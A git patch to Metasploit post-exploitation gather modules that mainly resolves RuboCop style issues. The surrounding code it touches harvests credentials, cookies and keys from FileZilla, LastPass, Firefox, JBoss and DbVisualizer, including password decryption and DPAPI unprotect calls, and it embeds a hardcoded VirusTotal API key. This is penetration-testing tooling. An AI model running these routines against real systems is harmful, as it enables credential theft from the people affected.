From fab5a3b1b1c9d0be55055a67713f1af3bb49d79f Mon Sep 17 00:00:00 2001 From: bcoles Date: Wed, 30 Apr 2025 20:15:08 +1000 Subject: [PATCH] modules/post/multi/gather: Resolve RuboCop violations --- modules/post/multi/gather/apple_ios_backup.rb | 7 +- .../multi/gather/aws_ec2_instance_metadata.rb | 7 +- modules/post/multi/gather/aws_keys.rb | 7 +- modules/post/multi/gather/check_malware.rb | 12 +- modules/post/multi/gather/chrome_cookies.rb | 9 +- modules/post/multi/gather/dbvis_enum.rb | 71 ++++++---- modules/post/multi/gather/dns_bruteforce.rb | 19 +-- .../post/multi/gather/dns_reverse_lookup.rb | 10 +- modules/post/multi/gather/dns_srv_lookup.rb | 8 +- modules/post/multi/gather/docker_creds.rb | 7 +- modules/post/multi/gather/enum_vbox.rb | 7 +- .../post/multi/gather/fetchmailrc_creds.rb | 11 +- .../multi/gather/filezilla_client_cred.rb | 27 ++-- modules/post/multi/gather/find_vmx.rb | 5 + modules/post/multi/gather/firefox_creds.rb | 18 +-- modules/post/multi/gather/gpg_creds.rb | 7 +- modules/post/multi/gather/grub_creds.rb | 9 +- modules/post/multi/gather/irssi_creds.rb | 7 +- modules/post/multi/gather/jboss_gather.rb | 67 +++++---- modules/post/multi/gather/jenkins_gather.rb | 6 + modules/post/multi/gather/lastpass_creds.rb | 22 +-- modules/post/multi/gather/maven_creds.rb | 5 + modules/post/multi/gather/minio_client.rb | 2 +- modules/post/multi/gather/multi_command.rb | 57 ++++---- modules/post/multi/gather/netrc_creds.rb | 9 +- modules/post/multi/gather/pgpass_creds.rb | 15 +- modules/post/multi/gather/pidgin_cred.rb | 36 ++--- modules/post/multi/gather/ping_sweep.rb | 16 ++- modules/post/multi/gather/remmina_creds.rb | 7 +- modules/post/multi/gather/resolve_hosts.rb | 5 + modules/post/multi/gather/rsyncd_creds.rb | 7 +- modules/post/multi/gather/rubygems_api_key.rb | 7 +- .../post/multi/gather/run_console_rc_file.rb | 34 +++-- modules/post/multi/gather/skype_enum.rb | 43 +++--- modules/post/multi/gather/ssh_creds.rb | 5 + .../post/multi/gather/thunderbird_creds.rb | 50 ++++--- modules/post/multi/gather/tomcat_gather.rb | 134 +++++++++--------- .../multi/gather/ubiquiti_unifi_backup.rb | 52 ++++--- modules/post/multi/gather/wlan_geolocate.rb | 15 +- 39 files changed, 527 insertions(+), 315 deletions(-) diff --git a/modules/post/multi/gather/apple_ios_backup.rb b/modules/post/multi/gather/apple_ios_backup.rb index f5e4cc1274..2bc83e79d5 100644 --- a/modules/post/multi/gather/apple_ios_backup.rb +++ b/modules/post/multi/gather/apple_ios_backup.rb @@ -32,6 +32,11 @@ class MetasploitModule < Msf::Post stdapi_sys_config_getuid ] } + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] } ) ) @@ -241,7 +246,7 @@ class MetasploitModule < Msf::Post store_loot('ios.backup.data', ctype, session, fdata, rname, "iOS Backup: #{rname}") rescue ::Interrupt raise $ERROR_INFO - rescue ::Exception => e + rescue StandardError => e print_error("Failed to download #{fname}: #{e.class} #{e}") end diff --git a/modules/post/multi/gather/aws_ec2_instance_metadata.rb b/modules/post/multi/gather/aws_ec2_instance_metadata.rb index 048abd893a..463489159f 100644 --- a/modules/post/multi/gather/aws_ec2_instance_metadata.rb +++ b/modules/post/multi/gather/aws_ec2_instance_metadata.rb @@ -22,7 +22,12 @@ class MetasploitModule < Msf::Post 'SessionTypes' => %w[shell meterpreter], 'References' => [ [ 'URL', 'http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html' ] - ] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) diff --git a/modules/post/multi/gather/aws_keys.rb b/modules/post/multi/gather/aws_keys.rb index ce50726d4b..eb3d7162b2 100644 --- a/modules/post/multi/gather/aws_keys.rb +++ b/modules/post/multi/gather/aws_keys.rb @@ -29,7 +29,12 @@ class MetasploitModule < Msf::Post 'References' => [ [ 'URL', 'http://s3tools.org/kb/item14.htm' ], [ 'URL', 'http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html#cli-config-files' ] - ] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) end diff --git a/modules/post/multi/gather/check_malware.rb b/modules/post/multi/gather/check_malware.rb index 9f5eac783f..f1f670dc7b 100644 --- a/modules/post/multi/gather/check_malware.rb +++ b/modules/post/multi/gather/check_malware.rb @@ -20,7 +20,12 @@ class MetasploitModule < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r'], 'Platform' => [ 'osx', 'win', 'linux' ], - 'SessionTypes' => [ 'shell', 'meterpreter' ] + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) @@ -28,7 +33,6 @@ class MetasploitModule < Msf::Post [ OptString.new('APIKEY', [true, 'VirusTotal API key', '501caf66349cc7357eb4398ac3298fdd03dec01a3e2f3ad576525aa7b57a1987']), OptString.new('REMOTEFILE', [true, 'A file to check from the remote machine']) - ] ) end @@ -43,11 +47,11 @@ class MetasploitModule < Msf::Post # The supplied module name is ambiguous: undefined method `register_autofilter_ports' # url = URI.parse('https://www.virustotal.com/vtapi/v2/file/report') - req = Net::HTTP::Post.new(url.path, initheader = { 'Host' => 'www.virustotal.com' }) + req = Net::HTTP::Post.new(url.path, { 'Host' => 'www.virustotal.com' }) req.set_form_data({ 'apikey' => api_key, 'resource' => checksum }) http = Net::HTTP.new(url.host, url.port) http.use_ssl = true - res = http.start { |http| http.request(req) } + res = http.start { |h| h.request(req) } unless res print_error("#{rhost} - Connection timed out") diff --git a/modules/post/multi/gather/chrome_cookies.rb b/modules/post/multi/gather/chrome_cookies.rb index ea36c86394..657b080efa 100644 --- a/modules/post/multi/gather/chrome_cookies.rb +++ b/modules/post/multi/gather/chrome_cookies.rb @@ -15,7 +15,12 @@ class MetasploitModule < Msf::Post 'License' => MSF_LICENSE, 'Author' => ['mangopdf '], 'Platform' => %w[linux unix bsd osx windows], - 'SessionTypes' => %w[meterpreter shell] + 'SessionTypes' => %w[meterpreter shell], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) @@ -186,7 +191,7 @@ class MetasploitModule < Msf::Post # Kills spawned chrome process in windows meterpreter sessions. # In OSX and Linux the meterpreter sessions would stop as well. if session.platform == 'windows' - kill_output = cmd_exec "#{kill_cmd} #{chrome_pid}" + cmd_exec "#{kill_cmd} #{chrome_pid}" end else # Using shell_command for backgrounding process (&) diff --git a/modules/post/multi/gather/dbvis_enum.rb b/modules/post/multi/gather/dbvis_enum.rb index cfb432b1b6..e1dc9c92f3 100644 --- a/modules/post/multi/gather/dbvis_enum.rb +++ b/modules/post/multi/gather/dbvis_enum.rb @@ -30,6 +30,11 @@ class MetasploitModule < Msf::Post stdapi_sys_config_getenv ] } + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] } ) ) @@ -37,7 +42,7 @@ class MetasploitModule < Msf::Post [ OptString.new('PASSPHRASE', [false, 'The hardcoded passphrase used for encryption']), OptInt.new('ITERATION_COUNT', [false, 'The iteration count used in key derivation', 10]) - ], super.class + ] ) end @@ -138,6 +143,7 @@ class MetasploitModule < Msf::Post db = {} dbfound = false version_found = false + # fetch config file raw_xml.each_line do |line| if version_found == false @@ -155,7 +161,7 @@ class MetasploitModule < Msf::Post db[:Namespace] = '' end # save - dbs << db if (db[:Alias] && db[:Type] && db[:Server] && db[:Port]) + dbs << db if db[:Alias] && db[:Type] && db[:Server] && db[:Port] db = {} end @@ -204,21 +210,31 @@ class MetasploitModule < Msf::Post end # Fill the tab and report eligible servers - dbs.each do |db| - if ::Rex::Socket.is_ipv4?(db[:Server].to_s) - print_good("Reporting #{db[:Server]}") - report_host(host: db[:Server]) + dbs.each do |database| + if ::Rex::Socket.is_ipv4?(database[:Server].to_s) + print_good("Reporting #{database[:Server]}") + report_host(host: database[:Server]) end - db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:UserID], db[:Password] ] + db_table << [ + database[:Alias], + database[:Type], + database[:Server], + database[:Port], + database[:Database], + database[:Namespace], + database[:UserID], + database[:Password] + ] report_cred( - ip: db[:Server], - port: db[:Port].to_i, - service_name: db[:Type], - username: db[:UserID], - password: db[:Password] + ip: database[:Server], + port: database[:Port].to_i, + service_name: database[:Type], + username: database[:UserID], + password: database[:Password] ) end + return db_table end @@ -245,7 +261,7 @@ class MetasploitModule < Msf::Post # fetch config file raw_xml.each_line do |line| if version_found == false - vesrion_found = find_version(line) + version_found = find_version(line) end if line =~ /} dbfound = false # save - dbs << db if (db[:Alias] && db[:Url]) + dbs << db if db[:Alias] && db[:Url] db = {} end @@ -287,33 +303,40 @@ class MetasploitModule < Msf::Post end # Fill the tab - dbs.each do |db| - if (db[:URL] =~ %r{[\S+\s+]+/+([\S+\s+]+):[\S+]+}i) + dbs.each do |database| + if (database[:URL] =~ %r{[\S+\s+]+/+([\S+\s+]+):[\S+]+}i) server = ::Regexp.last_match(1) if ::Rex::Socket.is_ipv4?(server) print_good("Reporting #{server}") report_host(host: server) end end - db_table << [ db[:Alias], db[:Type], db[:URL], db[:UserID], db[:Password] ] + db_table << [ + database[:Alias], + database[:Type], + database[:URL], + database[:UserID], + database[:Password] + ] report_cred( ip: server, port: '', - service_name: db[:Type], - username: db[:UserID], - password: db[:Password] + service_name: database[:Type], + username: database[:UserID], + password: database[:Password] ) end + return db_table end def find_version(tag) - found = false if tag =~ %r{([\S+\s+]+)}i - found = true print_good("DbVisualizer version: #{::Regexp.last_match(1)}") + return true end - found + + false end def report_cred(opts) @@ -349,7 +372,7 @@ class MetasploitModule < Msf::Post des.decrypt des.key = dk des.iv = iv - password = des.update(enc_password) + des.final + des.update(enc_password) + des.final end def get_derived_key diff --git a/modules/post/multi/gather/dns_bruteforce.rb b/modules/post/multi/gather/dns_bruteforce.rb index 6fdac9a176..7a4a36439f 100644 --- a/modules/post/multi/gather/dns_bruteforce.rb +++ b/modules/post/multi/gather/dns_bruteforce.rb @@ -16,18 +16,21 @@ class MetasploitModule < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez '], 'Platform' => %w[bsd linux osx solaris win], - 'SessionTypes' => [ 'meterpreter', 'shell' ] + 'SessionTypes' => [ 'meterpreter', 'shell' ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) register_options( [ - OptString.new('DOMAIN', [true, 'Domain to do a forward lookup bruteforce against.']), OptPath.new('NAMELIST', [ true, 'List of hostnames or subdomains to use.', ::File.join(Msf::Config.data_directory, 'wordlists', 'namelist.txt') ]) - ] ) end @@ -92,12 +95,12 @@ class MetasploitModule < Msf::Post end # Process the data returned by the host command - def process_nix(r, ns_opt) - r.each_line do |l| - data = l.scan(/(\S*) has address (\S*)$/) - next if data.empty? + def process_nix(data, ns_opt) + data.each_line do |line| + dns_data = line.scan(/(\S*) has address (\S*)$/) + next if dns_data.empty? - data.each do |e| + dns_data.each do |e| print_good("#{ns_opt} #{e[1]}") report_host(host: e[1], name: ns_opt.strip) end diff --git a/modules/post/multi/gather/dns_reverse_lookup.rb b/modules/post/multi/gather/dns_reverse_lookup.rb index ec8dcb62ae..a5cbc81bb3 100644 --- a/modules/post/multi/gather/dns_reverse_lookup.rb +++ b/modules/post/multi/gather/dns_reverse_lookup.rb @@ -16,19 +16,21 @@ class MetasploitModule < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez '], 'Platform' => %w[bsd linux osx solaris win], - 'SessionTypes' => [ 'meterpreter', 'shell' ] + 'SessionTypes' => [ 'meterpreter', 'shell' ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) register_options( [ - OptAddressRange.new('RHOSTS', [true, 'IP Range to perform reverse lookup against.']) - ] ) end - # Run Method for when run command is issued def run iprange = datastore['RHOSTS'] print_status("Performing DNS Reverse Lookup for IP range #{iprange}") diff --git a/modules/post/multi/gather/dns_srv_lookup.rb b/modules/post/multi/gather/dns_srv_lookup.rb index 9adcfe0024..7c34e8f01d 100644 --- a/modules/post/multi/gather/dns_srv_lookup.rb +++ b/modules/post/multi/gather/dns_srv_lookup.rb @@ -17,7 +17,12 @@ class MetasploitModule < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez '], 'Platform' => %w[bsd linux osx solaris win], - 'SessionTypes' => [ 'meterpreter', 'shell' ] + 'SessionTypes' => [ 'meterpreter', 'shell' ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) register_options( @@ -156,7 +161,6 @@ class MetasploitModule < Msf::Post def get_ip(host) ip_add = [] cmd_exec('host', " #{host}").each_line do |l| - ip = '' ip = l.scan(/has address (\S*)$/).join ip_add << ip if ip != '' end diff --git a/modules/post/multi/gather/docker_creds.rb b/modules/post/multi/gather/docker_creds.rb index 45796ac986..27e497a3bb 100644 --- a/modules/post/multi/gather/docker_creds.rb +++ b/modules/post/multi/gather/docker_creds.rb @@ -22,7 +22,12 @@ class MetasploitModule < Msf::Post 'License' => MSF_LICENSE, 'Author' => ['Flibustier'], 'Platform' => %w[bsd linux osx unix], - 'SessionTypes' => ['shell'] + 'SessionTypes' => ['shell'], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) end diff --git a/modules/post/multi/gather/enum_vbox.rb b/modules/post/multi/gather/enum_vbox.rb index 72ba470c42..2f896da7ee 100644 --- a/modules/post/multi/gather/enum_vbox.rb +++ b/modules/post/multi/gather/enum_vbox.rb @@ -21,7 +21,12 @@ class MetasploitModule < Msf::Post 'License' => MSF_LICENSE, 'Author' => ['theLightCosine'], 'Platform' => %w[bsd linux osx unix win], - 'SessionTypes' => ['shell', 'meterpreter' ] + 'SessionTypes' => ['shell', 'meterpreter' ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) end diff --git a/modules/post/multi/gather/fetchmailrc_creds.rb b/modules/post/multi/gather/fetchmailrc_creds.rb index 864b389d68..53575f78bf 100644 --- a/modules/post/multi/gather/fetchmailrc_creds.rb +++ b/modules/post/multi/gather/fetchmailrc_creds.rb @@ -19,7 +19,12 @@ class MetasploitModule < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'Jon Hart ' ], 'Platform' => %w[bsd linux osx unix], - 'SessionTypes' => [ 'shell' ] + 'SessionTypes' => [ 'shell' ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) end @@ -86,7 +91,7 @@ class MetasploitModule < Msf::Post # been found, then save if there is enough to save parse_fetchmailrc_line(line).each do |cred| cred = defaults.merge(cred) - if (cred[:host] && cred[:protocol]) + if cred[:host] && cred[:protocol] if (cred[:users].size == cred[:passwords].size) cred[:users].each_index do |i| cred_table << [ cred[:users][i], cred[:passwords][i], cred[:host], cred[:protocol], cred[:port] ] @@ -157,7 +162,7 @@ class MetasploitModule < Msf::Post cred[:host] = (line =~ /\s+smtphost\s+(\S+)/ ? ::Regexp.last_match(1) : 'localhost') cred[:protocol] = 'esmtp' # save the ESMTP credentials if we've found enough - creds << cred if (cred[:users] && cred[:passwords] && cred[:host]) + creds << cred if cred[:users] && cred[:passwords] && cred[:host] # return all found credentials creds end diff --git a/modules/post/multi/gather/filezilla_client_cred.rb b/modules/post/multi/gather/filezilla_client_cred.rb index 6518f83c31..ceccd8ef79 100644 --- a/modules/post/multi/gather/filezilla_client_cred.rb +++ b/modules/post/multi/gather/filezilla_client_cred.rb @@ -34,6 +34,11 @@ class MetasploitModule < Msf::Post stdapi_sys_config_getuid ] } + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] } ) ) @@ -151,15 +156,15 @@ class MetasploitModule < Msf::Post paths.each do |path| print_status("Reading sitemanager.xml and recentservers.xml files from #{path}") + + # @todo use File.read_file if session.type == 'shell' - type = :shell sites = session.shell_command("cat #{path}/sitemanager.xml") recents = session.shell_command("cat #{path}/recentservers.xml") print_status("recents: #{recents}") creds = [parse_accounts(sites)] creds << parse_accounts(recents) unless recents =~ /No such file/i else - type = :meterp sitexml = "#{path}\\sitemanager.xml" present = begin session.fs.file.stat(sitexml) @@ -192,14 +197,9 @@ class MetasploitModule < Msf::Post print_status('No recent connections where found.') end end + creds.each do |cred| cred.each do |loot| - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_cred( ip: loot['host'], port: loot['port'], @@ -286,12 +286,13 @@ class MetasploitModule < Msf::Post creds << account print_status(' Collected the following credentials:') - print_status(' Server: %s:%s' % [account['host'], account['port']]) - print_status(' Protocol: %s' % account['protocol']) - print_status(' Username: %s' % account['user']) - print_status(' Password: %s' % account['password']) - print_line('') + print_status(" Server: #{account['host']}:#{account['port']}") + print_status(" Protocol: #{account['protocol']}") + print_status(" Username: #{account['user']}") + print_status(" Password: #{account['password']}") + print_line end + return creds end diff --git a/modules/post/multi/gather/find_vmx.rb b/modules/post/multi/gather/find_vmx.rb index f333425d56..1e874fd37c 100644 --- a/modules/post/multi/gather/find_vmx.rb +++ b/modules/post/multi/gather/find_vmx.rb @@ -30,6 +30,11 @@ class MetasploitModule < Msf::Post stdapi_fs_search ] } + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] } ) ) diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 122cf4367c..94b30b03df 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -3,20 +3,9 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -# -# Standard Library -# require 'tmpdir' - -# -# Gems -# require 'zip' -# -# Project -# - class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Auxiliary::Report @@ -68,6 +57,11 @@ class MetasploitModule < Msf::Post stdapi_sys_process_kill ] } + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] } ) ) @@ -455,7 +449,7 @@ class MetasploitModule < Msf::Post rescue StandardError print_error("Was not able to find '#{omnija_file}' in the compressed .JA file") print_error('This could be due to a corrupt download or a unsupported Firefox/Iceweasel version') - return false + break end fdata end diff --git a/modules/post/multi/gather/gpg_creds.rb b/modules/post/multi/gather/gpg_creds.rb index 8bc34f3608..cdd7289f82 100644 --- a/modules/post/multi/gather/gpg_creds.rb +++ b/modules/post/multi/gather/gpg_creds.rb @@ -22,7 +22,12 @@ class MetasploitModule < Msf::Post 'Henry Hoggard' # Add GPG 2.1 keys, stop writing empty files ], 'Platform' => %w[bsd linux osx unix], - 'SessionTypes' => ['shell', 'meterpreter'] + 'SessionTypes' => ['shell', 'meterpreter'], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) end diff --git a/modules/post/multi/gather/grub_creds.rb b/modules/post/multi/gather/grub_creds.rb index bff8092a12..0008abee70 100644 --- a/modules/post/multi/gather/grub_creds.rb +++ b/modules/post/multi/gather/grub_creds.rb @@ -23,7 +23,12 @@ class MetasploitModule < Msf::Post ], 'Platform' => ['linux', 'osx', 'unix', 'solaris', 'bsd'], 'SessionTypes' => ['meterpreter', 'shell'], - 'References' => [ ['URL', 'https://help.ubuntu.com/community/Grub2/Passwords#Password_Encryption'] ] + 'References' => [ ['URL', 'https://help.ubuntu.com/community/Grub2/Passwords#Password_Encryption'] ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) @@ -133,7 +138,7 @@ class MetasploitModule < Msf::Post create_credential(credential_data) end - @pass_hash.each do |_index, pass| + @pass_hash.each_value do |pass| credential_data = { origin_type: :session, post_reference_name: refname, diff --git a/modules/post/multi/gather/irssi_creds.rb b/modules/post/multi/gather/irssi_creds.rb index 660523388c..a62d2a794b 100644 --- a/modules/post/multi/gather/irssi_creds.rb +++ b/modules/post/multi/gather/irssi_creds.rb @@ -20,7 +20,12 @@ class MetasploitModule < Msf::Post ], 'Platform' => %w[bsd linux osx unix], 'SessionTypes' => %w[shell], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) end diff --git a/modules/post/multi/gather/jboss_gather.rb b/modules/post/multi/gather/jboss_gather.rb index 587c521812..b5c8b51d65 100644 --- a/modules/post/multi/gather/jboss_gather.rb +++ b/modules/post/multi/gather/jboss_gather.rb @@ -13,20 +13,25 @@ class MetasploitModule < Msf::Post super( update_info( info, - 'Name' => 'Jboss Credential Collector', + 'Name' => 'JBoss Credential Collector', 'Description' => %q{ - This module can be used to extract the Jboss admin passwords for version 4,5 and 6. + This module can be used to extract the JBoss admin passwords for version 4, 5 and 6. }, 'License' => MSF_LICENSE, 'Author' => [ 'Koen Riepe (koen.riepe@fox-it.com)' ], 'Platform' => [ 'linux', 'win' ], - 'SessionTypes' => [ 'meterpreter' ] + 'SessionTypes' => [ 'meterpreter' ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) end def report_creds(user, pass, port) - return if (user.empty? || pass.empty?) + return if user.empty? || pass.empty? # Assemble data about the credential objects we will be creating credential_data = { @@ -41,7 +46,7 @@ class MetasploitModule < Msf::Post credential_core = create_credential(credential_data) - if !port.is_a? Integer + if !port.is_a?(Integer) print_error('Failed to detect port, defaulting to 8080 for creds database') port = 8080 end @@ -101,7 +106,7 @@ class MetasploitModule < Msf::Post end end if version != 'NONE' - print_status("Found a Jboss installation version: #{version}") + print_status("Found a JBoss installation version: #{version}") home = readhome(cmd_exec('printenv').split("\n")) pwfiles = getpwfiles(cmd_exec('locate jmx-console-users.properties').split("\n"), home, version) listenports = getports(version) @@ -128,7 +133,7 @@ class MetasploitModule < Msf::Post end end if version != 'NONE' - print_status("Found a Jboss installation version: #{version}") + print_status("Found a JBoss installation version: #{version}") instances = wingetinstances(home, version) pwfiles = winpwfiles(instances) listenports = wingetport(instances) @@ -165,7 +170,7 @@ class MetasploitModule < Msf::Post type1.each do |file1| next unless file1 && file1.include?(version) - print_status("Attempting to extract Jboss service ports from: #{file1}") + print_status("Attempting to extract JBoss service ports from: #{file1}") begin file1_read = read_file(file1).split("\n") rescue StandardError @@ -177,13 +182,13 @@ class MetasploitModule < Msf::Post file1_read.each do |line| if line.strip.include? 'deploy/httpha-invoker.sar' parse = true - elsif ((line.strip == '') && portfound) + elsif (line.strip == '') && portfound parse = false elsif parse && line.include?('') portnr = line.split('')[1].split('<')[0].to_i port.push(portnr) portfound = true - print_good("Jboss port found: #{portnr}") + print_good("JBoss port found: #{portnr}") end end end @@ -191,7 +196,7 @@ class MetasploitModule < Msf::Post type2.each do |file2| next unless file2 && file2.include?(version) - print_status("Attempting to extract Jboss service ports from: #{file2}") + print_status("Attempting to extract JBoss service ports from: #{file2}") begin xml2 = Nokogiri::XML(read_file(file2)) rescue StandardError @@ -203,7 +208,7 @@ class MetasploitModule < Msf::Post portnr = connector['port'].to_i port.push(portnr) - print_good("Jboss port found: #{portnr}") + print_good("JBoss port found: #{portnr}") break end end @@ -211,8 +216,8 @@ class MetasploitModule < Msf::Post end def gathernix - print_status('Unix OS detected, attempting to locate Jboss services') - version = getversion(cmd_exec('locate jar-versions.xml').split("\n")) + print_status('Unix OS detected, attempting to locate JBoss services') + getversion(cmd_exec('locate jar-versions.xml').split("\n")) end def winhome @@ -221,7 +226,7 @@ class MetasploitModule < Msf::Post exec.each do |line| next unless line.downcase.include?('java.exe') && line.downcase.include?('jboss') - print_status('Jboss service found') + print_status('JBoss service found') parse = line.split('-classpath "')[1].split('\\bin\\')[0] if parse[0] == ';' home.push(parse.split(';')[1]) @@ -273,33 +278,33 @@ class MetasploitModule < Msf::Post end if file1 - print_status("Attempting to extract Jboss service ports from: #{seed}\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml") + print_status("Attempting to extract JBoss service ports from: #{seed}\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml") parse = false portfound = false file1.each do |line| if line.strip.include? 'deploy/httpha-invoker.sar' parse = true - elsif ((line.strip == '') && portfound) + elsif (line.strip == '') && portfound parse = false elsif parse && line.include?('') portnr = line.split('')[1].split('<')[0].to_i port.push(portnr) portfound = true - print_good("Jboss port found: #{portnr}") + print_good("JBoss port found: #{portnr}") end end end next unless file2 - print_status("Attempting to extract Jboss service ports from: #{seed}\\deploy\\jboss-web.deployer\\server.xml") + print_status("Attempting to extract JBoss service ports from: #{seed}\\deploy\\jboss-web.deployer\\server.xml") xml2 = Nokogiri::XML(file2) xml2.xpath('//Server//Connector').each do |connector| next unless connector['protocol'].include? 'HTTP' portnr = connector['port'].to_i port.push(portnr) - print_good("Jboss port found: #{portnr}") + print_good("JBoss port found: #{portnr}") break end end @@ -308,20 +313,22 @@ class MetasploitModule < Msf::Post def gatherwin print_status('Windows OS detected, enumerating services') - homeArray = winhome - if !homeArray.empty? - homeArray.each do |home| - version_file = [] - version_file.push("#{home}\\jar-versions.xml") - version = wingetversion(version_file, home) - end - else - print_status('No Jboss service has been found') + home_array = winhome + + if home_array.empty? + print_status('No JBoss service has been found') + return + end + + home_array.each do |home| + version_file = [] + version_file.push("#{home}\\jar-versions.xml") + wingetversion(version_file, home) end end def run - if sysinfo['OS'].include? 'Windows' + if sysinfo['OS'].include?('Windows') gatherwin else gathernix diff --git a/modules/post/multi/gather/jenkins_gather.rb b/modules/post/multi/gather/jenkins_gather.rb index b87f0f0e80..4129d3a79b 100644 --- a/modules/post/multi/gather/jenkins_gather.rb +++ b/modules/post/multi/gather/jenkins_gather.rb @@ -28,6 +28,11 @@ class MetasploitModule < Msf::Post stdapi_fs_search ] } + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] } ) ) @@ -353,6 +358,7 @@ class MetasploitModule < Msf::Post if exist?(datastore['JENKINS_HOME'] + '/secret.key.not-so-secret') return datastore['JENKINS_HOME'] end + print_status(datastore['JENKINS_HOME'] + ' does not seem to contain secrets.') end diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 4a089ee299..f3e3a231d9 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -46,6 +46,11 @@ class MetasploitModule < Msf::Post stdapi_sys_process_memory_write ] } + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] } ) ) @@ -158,7 +163,7 @@ class MetasploitModule < Msf::Post account_map[account][browser]['lp_db_path'] = db_paths.first account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if file?(localstorage_path_map[browser]) || browser.match(/Firefox|IE/) account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if file?(cookies_path_map[browser]) || browser.match(/Firefox|IE/) - account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub('prefs.js', 'cookies.sqlite') if (!account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox') + account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub('prefs.js', 'cookies.sqlite') if !account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox' else account_map[account].delete(browser) end @@ -372,7 +377,7 @@ class MetasploitModule < Msf::Post path = lp_data['localstorage_db'] + system_separator + 'lp.suid' data = read_remote_file(path) if file?(path) # Read file if it exists data = windows_unprotect(data) if !data.nil? && data.size > 32 # Verify Windows protection - loot_path = loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}") + loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}") account_map[account][browser]['lp_2fa'] = data else # Chrome, Safari and Opera loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}") @@ -530,7 +535,8 @@ class MetasploitModule < Msf::Post session_cookie_value = result[0][0] end - return if session_cookie_value.blank? + + next if session_cookie_value.blank? # Check if cookie value needs to be decrypted if Rex::Text.encode_base64(session_cookie_value).match(/^AQAAA.+/) # Windows Data protection API @@ -633,7 +639,7 @@ class MetasploitModule < Msf::Post input.each_byte do |e| if e < 128 output += e.chr - elsif (e > 127 && e < 2048) + elsif e > 127 && e < 2048 output += (e >> 6 | 192).chr output += (e & 63 | 128).chr else @@ -666,9 +672,9 @@ class MetasploitModule < Msf::Post addr = Rex::Text.pack_int64le(mem) len = Rex::Text.pack_int64le(data.length) ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16) - pData = ret['pDataOut'].unpack('VVVV') - len = pData[0] + (pData[1] << 32) - addr = pData[2] + (pData[3] << 32) + p_data = ret['pDataOut'].unpack('VVVV') + len = p_data[0] + (p_data[1] << 32) + addr = p_data[2] + (p_data[3] << 32) end return '' if len == 0 